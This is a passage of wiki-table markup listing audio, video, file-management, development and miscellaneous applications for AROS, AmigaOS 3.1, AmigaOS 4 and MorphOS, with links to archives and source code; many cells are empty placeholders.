|&lt;!--Sub Menu--&gt;Editing Music [], [https://github.com/kmatheussen/camd CAMD] and/or staves and musical notes on manuscript 
|&lt;!--AROS--&gt;[http://bnp.hansfaust.de/ Bars and Pipes], [], [], 
|&lt;!--Amiga OS--&gt;[http://bnp.hansfaust.de/ Bars'n'Pipes], MusicX* David &quot;Talin&quot; Joiner &amp; Craig Weeks (for Notator-X), Deluxe Music Construction Set DMCS2*, [https://github.com/timoinutilis/midi-sequencer-amigaos Horny c Src] [https://github.com/kas1e/midi-sequencer-amigaos/tree/master/HornyGCC HornyGCC OS4 src] [https://github.com/capehill/midi-sequencer-amigaos Horny OS4 fork src] [https://www.amigans.net/modules/newbb/viewtopic.php?start=0&amp;topic_id=8143&amp;order=ASC&amp;status=&amp;mode=0 OS4 thread], HD-Rec, [https://aminet.net/package/mus/midi/dominatorV1_51 Dominator], [https://github.com/royaltm/Amiga-midiIn Amiga-midiIn], [ Aegis Sonix 2.0]
|&lt;!--AmigaOS4--&gt;[https://sourceforge.net/p/hd-rec/code/HEAD/tree/ HD-Rec Src], Rockbeat, [http://bnp.hansfaust.de/download.html Bars'n'Pipes], [https://github.com/gooofy/freeaction Horny OS4 src fork], Audio Evolution 4, 
|&lt;!--MorphOS--&gt;Bars'n'Pipes, 
|-
|&lt;!--Sub Menu--&gt;Sound Sampling 
|&lt;!--AROS--&gt;[ Advanced AHI Recorder all], [https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/record Audio Evolution 4], [http://www.imica.net/SitePortalPage.aspx?siteid=1&amp;did=162 Quick Record], [https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc SOX to get AIFF 16bit files], [https://github.com/aros-development-team/AROS/tree/master/workbench/tools/AHIRecord AHIRecord], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/package/mus/edit/AudioEvolution3_src Audio Evolution 3 c src], [ Samplitude]*, Audiomaster IV*, 
|&lt;!--AmigaOS4--&gt;[https://github.com/timoinutilis/phonolith-amigaos phonolith c src], HD-Rec, Audio Evolution 4,
|&lt;!--MorphOS--&gt;[https://sourceforge.net/p/hd-rec/code/HEAD/tree/ HD-Rec Src], Audio Evolution 4,
|-
|&lt;!--Sub Menu--&gt;Audio Processing like easyeffects so having limiter, compressor, convolver, equalizer and auto volume and many other plugins 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Live Looping or Audio Misc - Groovebox like
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;CD/DVD burn
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=utility IsoTools], [https://code.google.com/p/amiga-fryingpan/ FryingPan], 
|&lt;!--Amiga OS--&gt;FryingPan, [ MakeCD], 
|&lt;!--AmigaOS4--&gt;FryingPan, AmiDVD, 
|&lt;!--MorphOS--&gt;[http://www.amiga.org/forums/printthread.php?t=58736 FryingPan], Jalopeano, 
|-
|&lt;!--Sub Menu--&gt;CD/DVD audio rip
|&lt;!--AROS--&gt;Lame, [http://www.imica.net/SitePortalPage.aspx?siteid=1&amp;cfid=0&amp;did=167 Quick CDrip],
|&lt;!--Amiga OS--&gt;Lame,  
|&lt;!--AmigaOS4--&gt;Lame, 
|&lt;!--MorphOS--&gt;Lame,  
|-
|&lt;!--Sub Menu--&gt;MP3 v1 and v2 Tagger
|&lt;!--AROS--&gt;id3ren (v1), [http://archives.arosworld.org/index.php?function=browse&amp;cat=audio/edit mp3info], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|
|-
|&lt;!--Sub Menu--&gt;Audio Convert
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc Sox], [], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/package/mus/misc/SoundBox SoundBox], [http://aminet.net/package/mus/misc/SoundBoxKey SoundBox Key], [http://aminet.net/package/mus/edit/SampleE SampleE], sox 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;DJ mixing jamming 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://github.com/djh0ffman/PT1210 Hoffman PT1210 DJ tracker], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Radio Automation Software [http://www.rivendellaudio.org/ Rivendell], [http://code.campware.org/projects/livesupport/report/3 Campware LiveSupport], [http://www.sourcefabric.org/en/airtime/ SourceFabric AirTime], [http://www.ohloh.net/p/mediabox404 MediaBox404], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Speakers Audio Sonos Mains AC networked wired controlled 
*2005 ZP100 with ZP80 
*2008 Zoneplayer ZP120 (multi-room wireless amp)  ZP90 receiver only with CR100 controller, 
*2009 ZonePlayer S5, 
*2010 BR100 wireless Bridge (no support),   
*2011 Play:3
*2013 Bridge (no support), Play:1,  
*2016 Arc,   Play:1,   
*Beam (Gen 2),   Playbar,  Ray,   Era 100,   Era 300,   Roam,   Move 2,   
*Sub (Gen 3),   Sub Mini,  Five,  Amp  S2 
|&lt;!--AROS--&gt;SonosController 
|&lt;!--Amiga OS--&gt;SonosController
|&lt;!--AmigaOS4--&gt;SonosController
|&lt;!--MorphOS--&gt;SonosController
|-
|&lt;!--Sub Menu--&gt;Smart Speakers 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]

==Video Creativity and Production==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Video
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Playing Video 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=video/play Mplayer], [ VAMP], [http://www.a500.org/downloads/video/index.xhtml CDXL player], [http://www.a500.org/downloads/video/index.xhtml IffAnimPlay], [], 
|&lt;!--Amiga OS--&gt;Frogger*, AMP2, MPlayer, RiVA*, MooViD*, 
|&lt;!--AmigaOS4--&gt;DvPlayer, MPlayer 
|&lt;!--MorphOS--&gt;MPlayer, Frogger, AMP2, VLC 
|-
|&lt;!--Sub Menu--&gt;Streaming Video and game streaming like OBS studio, Parsec, [https://github.com/lizardbyte/sunshine sunshine], [https://github.com/moonlight-stream/moonlight-qt moonlight], etc 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Playing DVD 
|&lt;!--AROS--&gt;[http://a-mc.biz/ AMC]*, Mplayer 
|&lt;!--Amiga OS--&gt;AMP2, Frogger 
|&lt;!--AmigaOS4--&gt;[http://a-mc.biz/ AMC]*, DvPlayer*, AMP2,  
|&lt;!--MorphOS--&gt;Mplayer 
|-
|&lt;!--Sub Menu--&gt;Screen Recording
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=video/record Screenrecorder], [ ], [ ], [ ], [ ], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;Screenrecorder, 
|-
|&lt;!--Sub Menu--&gt;Create Edit Individual Video - Amiga like OSs have no pro NLE 
|&lt;!--AROS--&gt;[ Mencoder], [ Quick Videos], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/edit AVIbuild], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/misc FrameBuild], FFMPEG, 
|&lt;!--Amiga OS--&gt;[ MainConcept Mainactor Broadcast*], [http://en.wikipedia.org/wiki/Video_Toaster Video Toaster*] with [https://discreetfx.com/openvideotoaster.html some c src], MacroSystem MovieShop 4.3*, proDAD Adorage*, [ IOSpirit VHI studio]*, [Gold Disk ShowMaker], [], 
|&lt;!--AmigaOS4--&gt;FFMpeg/GUI 
|&lt;!--MorphOS--&gt;Blender, Mencoder, FFmpeg
|-
|&lt;!--Sub Menu--&gt;Subtitle editor 
|&lt;!--AROS--&gt;[https://aminet.net/package/text/edit/Slarti_Arosx86ABIv0 Slarti_Arosx86ABIv0], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;IP-based video production workflows with High Dynamic Range (HDR), 10-bit color collaborative NDI, 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Blogging like Lemmy or kbin
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;VR face recognition for Vtubers 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;VR chatting Live2D models with Cubism type editor or [https://github.com/AyagamiDev/ayagami ayagami] like with zipped moc3 with model metadata (model3, cdi3) 
&lt;pre&gt;
Model data (cmo3)
Basic motions (can3)
Background image (png)
Set of files for embedding (runtime folder)
• Model data (moc3)
• Motion data (motion3.json)
• Model settings file (model3.json)
• Physics settings file (physics3.json)
• Display auxiliary file (cdi3.json)
&lt;/pre&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;VR chatting chatters .VRML models - standardized 3D file format for VR avatars 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;V-tubers V-tubing like Vseeface with Openseeface tracker or Vpuppr (virtual puppet project) for online live 2d / 3d art models rigging rigged LIV 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.

[[#top|...to the top]]


==Misc Application==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1 (68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;File Management 
|&lt;!--AROS--&gt;DOpus4, [https://github.com/BlitterStudio/dopus5 DOpus Magellan aka DOpus 5], [ Scalos], [ ], 
|&lt;!--Amiga OS--&gt;DOpus2, DOpus 4, [https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], ClassAction, FileMaster, [http://www.amiga.org/forums/showthread.php?t=4897 DirWork 2]*, [https://github.com/RudolphRiedel/DiskMaster2 DiskMaster2 src], 
|&lt;!--AmigaOS4--&gt;DOpus4, [https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], Filer, AmiDisk 
|&lt;!--MorphOS--&gt;DOpus4, [https://github.com/BlitterStudio/dopus5 Dopus5 Magellan], 
|-
|&lt;!--Sub Menu--&gt;File Verification / Repair 
|&lt;!--AROS--&gt;[https://arosarchives.os4depot.net/index.php?function=browse&amp;cat=utility md5sum], [https://arosarchives.os4depot.net/index.php?function=browse&amp;cat=utility/filetool asum], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/filetool workpar2] (PAR2),  [http://zakalwe.fi/~shd/foss/cksfv/files/ compile cksfv from website], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;Par2, 
|-
|Application Installer 
|&lt;!--AROS--&gt;[], [ InstallerNG], 
|&lt;!--Amiga OS--&gt;InstallerNG, Grunch, 
|&lt;!--AmigaOS4--&gt;Jack
|&lt;!--MorphOS--&gt;Jack 
|-
|&lt;!--Sub Menu--&gt;Compression archiver [https://github.com/FS-make-simple/paq9a paq9a], [], 
|&lt;!--AROS--&gt;XAD system is a toolkit designed for handling various file and disk archiver
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;[https://aminet.net/package/util/pack/decrunchmania_os4 Crunchmania CrM2 depacker], 
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Binary Hexadecimal Editor 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=development/edit Zaphod], [],
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Filesystem Partition Editor formatter Disk Management
|&lt;!--AROS--&gt;[https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=1440&amp;highlight=partition&amp;pid=8821#post_8821 QuickPart], [ HDToolBox]
|&lt;!--Amiga OS--&gt;[https://github.com/stefanskotte/hdpart hdpart], [https://github.com/ChuckyGang/AmiPart AmiPart], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Filesystem Repair and backups 
|&lt;!--AROS--&gt;ArSFSDoctor, 
|&lt;!--Amiga OS--&gt;[https://aminet.net/package/disk/bakup/quarterback_src Quarterback Tools C and asm src], [ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;System Disk check, integrity and history [https://github.com/smartmontools/smartmontools smart tools], [], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Multiple File renaming
|&lt;!--AROS--&gt;DOpus 4 or 5, 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Anti Virus
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;VChecker, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Random Wallpaper Desktop changer [ DOpus5], [ Scalos],  
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Alarm Clock, Timer, Stopwatch, Countdown 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/workbench DClock], [http://aminet.net/util/time/AlarmClockAROS.lha AlarmClock], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}


==Misc Application 2==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;C/C++ IDE Integrated Development 
|&lt;!--AROS--&gt;[https://sourceforge.net/projects/aidea/ AIDEa], [ Murks], [],  
|&lt;!--Amiga OS--&gt;[http://devplex.awardspace.biz/cubic/index.html Cubic IDE]*, [ StormC], [https://github.com/jens-maus/amide amide], [], 
|&lt;!--AmigaOS4--&gt;CodeBench , [https://gitlab.com/boemann/codecraft CodeCraft], 
|&lt;!--MorphOS--&gt;[http://devplex.awardspace.biz/cubic/index.html Cubic IDE]*, 
|-
|&lt;!--Sub Menu--&gt;C/C++ Text Editors 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit FrexxEd], [https://github.com/vidarh/FrexxEd FrexxEd src], [http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/text/edit Annotate] with [https://www.onyxsoft.se/files/annotate_src.lha src], 
|&lt;!--Amiga OS--&gt;[ Protext], [ CED], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[https://www.onyxsoft.se/annotate.html Annotate], 
|-
|&lt;!--Sub Menu--&gt;Repository
|&lt;!--AROS--&gt;[ Git]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;Git
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;BASIC Computer Language 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=development/language Basic4SDL], [ Ace Basic], [ X-AMOS], [SDLBasic], [ Alvyn], 
|&lt;!--Amiga OS--&gt;[http://www.amiforce.de/main.php Amiblitz 3] with [https://github.com/AmiBlitz/AmiBlitz3 Asm src], [http://amos.condor.serverpro3.com/AmosProManual/contents/c1.html Amos Pro] with [https://github.com/AmiDARK/AmosProfessionalUnity-Official-Releases Asm src], [http://aminet.net/package/dev/basic/ace24dist ACE Basic], [https://github.com/gooofy/aqb aqb], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;sdlBasic
|-
|&lt;!--Sub Menu--&gt;Computer Languages Translation [https://tetracorp.github.io/guide/reverse-engineering-amiga.html], [https://amigasourcecodepreservation.gitlab.io/amiga-assembler-insider-guide/], [https://github.com/kermitfrog/Amiga-Re-Engineering Rust, Ghidra and FS-UAE], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;[https://bitbucket.org/rhinoid/convert68000toc/src/main/ convert m68k seka asm-one to c], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Gui Creators
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=development/guitool MuiBuilder], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;[ MuiBuilder],  
|-
|&lt;!--Sub Menu--&gt;Catalog .cd .ct Custom App Language Editors 
|&lt;!--AROS--&gt;FlexCat, [https://archives.arosworld.org/index.php?function=browse&amp;cat=utility Flexcat GUI], [], 
|&lt;!--Amiga OS--&gt;[http://www.geit.de/deu_simplecat.html SimpleCat], FlexCat
|&lt;!--AmigaOS4--&gt;[http://aminet.net/package/dev/misc/simplecat SimpleCat], FlexCat
|&lt;!--MorphOS--&gt;[http://www.geit.de/deu_simplecat.html SimpleCat], FlexCat
|-
|&lt;!--Sub Menu--&gt;Cross Development 
|&lt;!--AROS--&gt;[], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/geekychris/amiga_mcp amiga_mcp], [https://github.com/mbergmann-sh/AmigaED4-IDE AmigaED4-IDE], [https://lemonspawn.com/turbo-rascal-syntax-error-expected-but-begin/ Turbo Rascal], [], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}

&lt;nowiki&gt;*&lt;/nowiki&gt; Commercial product.


==Misc Application 3==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;System 
|&lt;!--AROS--&gt;[ SysExplorer], [ SysMon], [ Scout], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Terminals Shells CLIs 
|&lt;!--AROS--&gt;[https://tomaszstaniak.com/aros-term/ aros-term], [], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;OSK On Screen Keyboard
|&lt;!--AROS--&gt;[], 
|&lt;!--Amiga OS--&gt;[https://aminet.net/util/wb/OSK.lha OSK]
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Screen Magnifier Magnifying Glass Magnification 
|&lt;!--AROS--&gt;[http://www.onyxsoft.se/files/zoomit.lha ZoomIT], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Comic Book CBR CBZ format reader viewer 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer comics], [http://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/viewer comicon], [], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Ebook Reader 
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/#legadon Legadon EPUB],[]
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Ebook Converter 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Text to Speech tts [https://github.com/JonathanFly/bark-installer Bark], [], 
|&lt;!--AROS--&gt;[ Echo &quot; &quot; &gt;SPEAK:A1 inbuilt], [http://archives.arosworld.org/index.php?function=browse&amp;cat=audio/misc flite], 
|&lt;!--Amiga OS--&gt;[http://www.text2speech.com translator], [https://github.com/sidick/narrator.wyoming narrator.wyoming], [], 
|&lt;!--AmigaOS4--&gt;[http://www.os4depot.net/index.php?function=search&amp;tool=simple FLite]
|&lt;!--MorphOS--&gt;[http://se.aminet.net/pub/aminet/mus/misc/ FLite]
|-
|&lt;!--Sub Menu--&gt;Speech Voice Recognition Dictation - [http://sourceforge.net/projects/cmusphinx/files/ CMU Sphinx], [http://julius.sourceforge.jp/en_index.php?q=en/index.html Julius], [http://www.isip.piconepress.com/projects/speech/index.html ISIP], 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Speech Voice Changer [], [], [], [], 
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Screen Display Blanker screensaver 
|&lt;!--AROS--&gt;Blanker Commodity (built in), [https://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/screenblanker GarshneBlanker], [http://sourceforge.net/projects/gblanker/ GBlanker Src], [], 
|&lt;!--Amiga OS--&gt;MultiCX, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;ModernArt Blanker, 
|-
|&lt;!--Sub Menu--&gt;Fortune Cookie Quotes Sayings 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/misc AFortune], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|}


==Misc Application 4==
{|  class=&quot;wikitable sortable&quot; 
|- 
!width:30%;|Misc Application
!width:10%;|AROS(x86)
!width:10%;|Commodore-Amiga OS 3.1(68k)
!width:10%;|Hyperion OS4(PPC)
!width:10%;|MorphOS(PPC)
|-
|&lt;!--Sub Menu--&gt;Fractals mandelbrot, etc 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/misc], 
|&lt;!--Amiga OS--&gt;ZoneXplorer, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Landscape Rendering 
|&lt;!--AROS--&gt;[https://archives.arosworld.org/index.php?function=browse&amp;cat=graphics/raytrace WCS World Construction Set], 
|&lt;!--Amiga OS--&gt;[ Vista Pro], [http://en.wikipedia.org/wiki/World_Construction_Set World Construction Set]
|&lt;!--AmigaOS4--&gt;[ WCS World Construction Set],
|&lt;!--MorphOS--&gt;[ WCS World Construction Set],
|-
|&lt;!--Sub Menu--&gt;Astronomy [https://sourceforge.net/projects/skychart/ skychart freepascal], [], [], 
|&lt;!--AROS--&gt;[ Digital Almanac (ABIv0 only)], 
|&lt;!--Amiga OS--&gt;[http://aminet.net/search?query=planetarium Aminet search], [http://aminet.net/misc/sci/DA3V56ISO.zip Digital Almanac], [https://aminet.net/package/misc/sci/da3sourceV58 Src c V58], [ Galileo renamed to Distant Suns]*, [], 
|&lt;!--AmigaOS4--&gt;[http://sourceforge.net/projects/digital-almanac/ Digital Almanac], Distant Suns*, [http://www.digitaluniverse.org.uk/ Digital Universe]*,
|&lt;!--MorphOS--&gt;[http://www.aminet.net/misc/sci/da3.lha Digital Almanac], [http://www.aminet.net/package/misc/sci/da3-mos-src Src c V56], 
|-
|&lt;!--Sub Menu--&gt;Astrology [https://sourceforge.net/projects/skylendar/ skylendar], [https://github.com/CruiserOne/Astrolog Astrolog], [https://www.astrolog.org/astrolog/astfile.htm Astrology alt site], [https://saravali.github.io/download.html Maitreya], [https://github.com/alamahant/Asteria Asteria], 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Genealogy History Family Tree Ancestry Records (FreeBMD, FreeREG, and FreeCEN file formats or GEDCOM GenTree)
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt; [ Origins], [ Your Family Tree], [ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Languages 
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;Fun School, 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;https://github.com/evil4dmin/ami2ha
|-
|&lt;!--Sub Menu--&gt;Mathematics ([http://www-fourier.ujf-grenoble.fr/~parisse/install_en.html Xcas], etc.), 
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/scientific mathX] 
|&lt;!--Amiga OS--&gt;Maple V, mathX, Fun School, GCSE Maths, [ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;Yacas 
|&lt;!--MorphOS--&gt;Yacas 
|-
|&lt;!--Sub Menu--&gt;Maths Graph Function Plotting
|&lt;!--AROS--&gt;[https://blog.alb42.de/programs/#MUIPlot MUIPlot], 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;App Utility Launcher Dock toolbar  
|&lt;!--AROS--&gt;[http://archives.arosworld.org/index.php?function=browse&amp;cat=utility/docky BoingBar], [], 
|&lt;!--Amiga OS--&gt;[https://github.com/adkennan/DockBot Dockbot],
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;3D Printer [https://github.com/OrcaSlicer/OrcaSlicer OrcaSlicer]
|&lt;!--AROS--&gt;
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;PCB design
|&lt;!--AROS--&gt; 
|&lt;!--Amiga OS--&gt;[ ], [ ], [ ], 
|&lt;!--AmigaOS4--&gt;
|&lt;!--MorphOS--&gt;
|-
|&lt;!--Sub Menu--&gt;Digital Signage
|&lt;!--AROS--&gt;Hollywood, Hollywood Designer 
|&lt;!--Amiga OS--&gt;
|&lt;!--AmigaOS4--&gt;
